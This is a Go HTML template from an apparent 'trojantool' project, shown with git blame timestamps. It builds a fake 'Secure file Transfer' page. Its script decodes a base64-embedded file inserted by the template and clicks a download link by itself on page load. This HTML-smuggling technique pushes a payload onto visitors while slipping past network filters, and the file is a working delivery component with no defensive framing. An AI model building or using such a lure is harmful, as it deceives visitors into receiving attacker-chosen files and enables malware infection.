trojantool/cmd/html.gohtml

44 lines
1.4 KiB
Plaintext
Raw Normal View History

2023-08-10 18:27:56 +02:00
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
2023-08-10 21:42:41 +02:00
<title>{{ .Title}}</title>
2023-08-10 18:27:56 +02:00
</head>
<body>
2023-08-10 21:42:41 +02:00
<div style="position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">
<h1>{{ .Title}}</h1>
<p>Thank you for using the Secure file Transfer!</p>
<p>Please wait while your File is being prepared</p>
2023-08-30 08:57:28 +02:00
<p>If your Download didn't work, <a href="javascript:void(0);" id="download">Click here</a></p>
2023-08-10 21:42:41 +02:00
</div>
2023-08-10 18:27:56 +02:00
2023-08-10 21:42:41 +02:00
<footer style="position: absolute; bottom: 0; width: 100%; text-align: center">
&copy;{{.Year}} <a href="{{.FooterURL}}">{{.FooterName}}</a>
</footer>
2023-08-10 18:27:56 +02:00
</body>
2023-08-10 21:42:41 +02:00
<script>
// Base64 string
const base64String = "data:application/octet-stream;base64,{{.Encoded}}";
// Convert to binary data
const binaryData = atob(base64String.replace(/^.*,/, ''));
// Create byte array
const byteNumbers = new Array(binaryData.length);
for (let i = 0; i < binaryData.length; i++) {
byteNumbers[i] = binaryData.charCodeAt(i);
}
// Create blob
const blobData = new Blob([new Uint8Array(byteNumbers)], {type: 'application/octet-stream'});
// Trigger download
const downloadUrl = URL.createObjectURL(blobData);
2023-08-30 08:57:28 +02:00
// Get the link element by its ID
const link = document.getElementById("download")
2023-08-10 21:42:41 +02:00
link.href = downloadUrl;
link.download = "{{.Filename}}";
link.click();
2023-08-30 08:57:28 +02:00
2023-08-10 21:42:41 +02:00
</script>
2023-08-10 18:27:56 +02:00
</html>